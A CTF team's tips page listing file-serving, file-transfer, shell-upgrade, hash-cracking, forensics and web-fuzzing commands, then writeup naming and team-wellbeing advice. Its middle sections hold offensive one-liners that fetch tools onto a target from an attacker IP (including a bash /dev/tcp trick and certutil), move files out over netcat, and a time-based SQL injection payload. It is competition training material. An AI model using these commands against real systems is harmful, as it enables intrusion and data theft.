CTF tips & tricks
The commands we retype every event, the naming convention that keeps our writeups findable, and the human side — which is what actually decides where you place in a 48-hour event.
Serving files
Quick HTTP server in the current directory
python3 -m http.server 8000 # bind to one interface only: python3 -m http.server 8000 --bind 10.10.14.7
The workhorse. Serves the directory you are standing in.
HTTP server that accepts uploads
python3 -m uploadserver 8000 # pip install uploadserver
When you need to get files off the box, not onto it.
PHP and Ruby one-liners
php -S 0.0.0.0:8000 ruby -run -e httpd . -p 8000
For when python is not on the box but something else is.
SMB share for Windows targets
impacket-smbserver share $(pwd) -smb2support # with credentials, which modern Windows insists on: impacket-smbserver share $(pwd) -smb2support -user ctf -password ctf
Then \\10.10.14.7\share from the target.
Instant FTP or TFTP
python3 -m pyftpdlib -p 21 -w sudo python3 -m tftpy.TftpServer 69 .
Old protocols are still the easiest path off restricted hosts.
Moving files
Download to a target
curl -sO http://10.10.14.7:8000/linpeas.sh wget -q http://10.10.14.7:8000/linpeas.sh # no curl or wget: exec 3<>/dev/tcp/10.10.14.7/8000; echo -e 'GET /f HTTP/1.0\n' >&3; cat <&3
The bash /dev/tcp trick works on stripped containers.
Windows download
certutil -urlcache -f http://10.10.14.7:8000/nc.exe nc.exe powershell -c "iwr http://10.10.14.7:8000/nc.exe -OutFile nc.exe"
certutil is signed and present everywhere.
Transfer over netcat
# receiver nc -lvnp 9001 > out.bin # sender nc 10.10.14.7 9001 < in.bin
No protocol overhead, no logs, no fuss.
Base64 through a shell
base64 -w0 file.bin # on the other side: echo '<paste>' | base64 -d > file.bin
When all you have is a text field or a blind shell.
Shells
Upgrade a dumb shell to a real TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# then background with ^Z and:
stty raw -echo; fg
export TERM=xterm; stty rows 50 cols 200
Gives you tab completion, arrow keys, and survives ^C.
Listener that does not die
rlwrap nc -lvnp 4444
rlwrap adds history and line editing to any listener.
Encoding, hashes and crypto
Identify and crack a hash
hashid '$2y$10$...' hashcat -m 3200 hash.txt rockyou.txt john --wordlist=rockyou.txt hash.txt
hashid first — cracking the wrong mode wastes hours.
XOR and frequency work
xortool -c 00 encrypted.bin
python3 -c "print(bytes(a^0x42 for a in open('f','rb').read()))"
Single-byte XOR is the most common lazy obfuscation.
RSA with small or shared factors
python3 RsaCtfTool.py --publickey key.pub --uncipherfile cipher.bin # factordb is often enough: curl 'http://factordb.com/api?query=<n>'
Always try factordb before anything clever.
Forensics and stego
First four commands on any file
file suspicious.bin strings -n 8 suspicious.bin | less binwalk -e suspicious.bin exiftool suspicious.bin
Or just drop it on our /dump page and read the report.
Images
zsteg -a image.png steghide extract -sf image.jpg stegsolve image.png
zsteg for PNG/BMP, steghide for JPEG with a passphrase.
PCAP triage
tshark -r capture.pcap -q -z io,phs tshark -r capture.pcap -Y 'http.request' -T fields -e http.host -e http.request.uri foremost -i capture.pcap -o carved/
Protocol hierarchy first — it tells you where to look.
Web
Content discovery
ffuf -u http://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc all -fc 404 gobuster dir -u http://target -w wordlist.txt -x php,txt,bak
Filter by size once you see the default 404 body.
Subdomain and vhost fuzzing
ffuf -u http://target -H 'Host: FUZZ.target' -w subdomains.txt -fs 1234 subdigger -d target.com --json
Our own subdigger pulls certificate transparency in too.
SQLi and injection basics
sqlmap -u 'http://target/?id=1' --batch --dbs # time-based check by hand: ' OR SLEEP(5)-- -
Do the manual check first; sqlmap is loud.
Naming your writeups
One convention, so a writeup is findable two years later by someone who was not there:
<ctf_name>_<category_name>_<challenge_name>.pdf <ctf_name>_<category_name>_<challenge_name>.md cyberapocalypse2026_web_saltcrown.md hacklab2025_pwn_babyheap.pdf squarectf2026_crypto_rsa-warmup.txt
- Lower case, underscores between the three parts, dashes inside a part.
- No spaces, no dates in the filename — the site records those.
- PDF, Markdown or plain text. Markdown renders directly on the site, so it is the friendliest to read.
Upload through the writeup form and the competition, category and challenge become searchable fields — the filename is then only a fallback.
Organising the team during an event
- One channel per category.
#ctf-web,#ctf-pwn,#ctf-crypto. Cross-talk in one big channel means nobody can find anything at hour 20. - Claim before you start. Post "taking challenge" before you open it. Two people burning four hours on the same challenge is the most common way teams lose points.
- Say what you tried and why. Even a failure is intel: "the LFI works but I cannot get past the extension filter" saves the next person an hour.
- Post the flag and a two-line method the moment it lands. Not the full writeup — just enough that somebody else can build on it.
- Keep a pinned scoreboard message of what is solved, claimed and stuck. Update it, or it is a lie by hour six.
- Hand off deliberately. Going to sleep? Post your notes, your foothold and your access before you do.
Holding your place on a CTFd scoreboard
- Sweep the easy challenges first. Dynamic scoring means an easy challenge everyone solves is worth almost nothing — but zero solves is worth exactly nothing.
- Watch decay. On dynamic scoring, points fall as solves rise. Early solves on a hard challenge are worth several easy ones.
- Do not hoard flags. Submit as you go. Teams that save submissions for a dramatic finish lose to a network outage.
- Check for first-blood bonuses in the rules; if they exist, prioritise differently.
- Re-read the challenge text when stuck. The hint you dismissed at hour two is usually the answer at hour twenty.
The part nobody writes down
A 48-hour CTF is an endurance event. The team that places well is usually not the smartest one — it is the one still thinking clearly on Sunday morning.
- Drink water. Genuinely. Most "I cannot think" moments at hour 30 are dehydration, not difficulty.
- Go easy on the energy drinks. Three in a row buys you two good hours and costs you six. Alternate with water.
- Eat something that is not crisps. Order real food early, before nobody has the energy to decide.
- Power naps work. Twenty minutes beats another can. If you have been stuck for an hour, sleep is a legitimate debugging strategy.
- Stand up and walk around. Every hour or two. An astonishing number of solutions arrive on the way to the kitchen.
- Take real breaks. Staring harder at the same terminal is not progress.
- Hit a wall? Hand it over. Post what you have and let someone else look. They will spot the obvious thing you stopped seeing three hours ago — this is not failure, it is how teams work.
- Ask for help early. Nobody on this team thinks less of you for asking. We do think less of six wasted hours.
- Say when you are done. "I am out, here are my notes" is a contribution. Silently disappearing is not.
And afterwards: write it up while you still remember. Tomorrow you will not.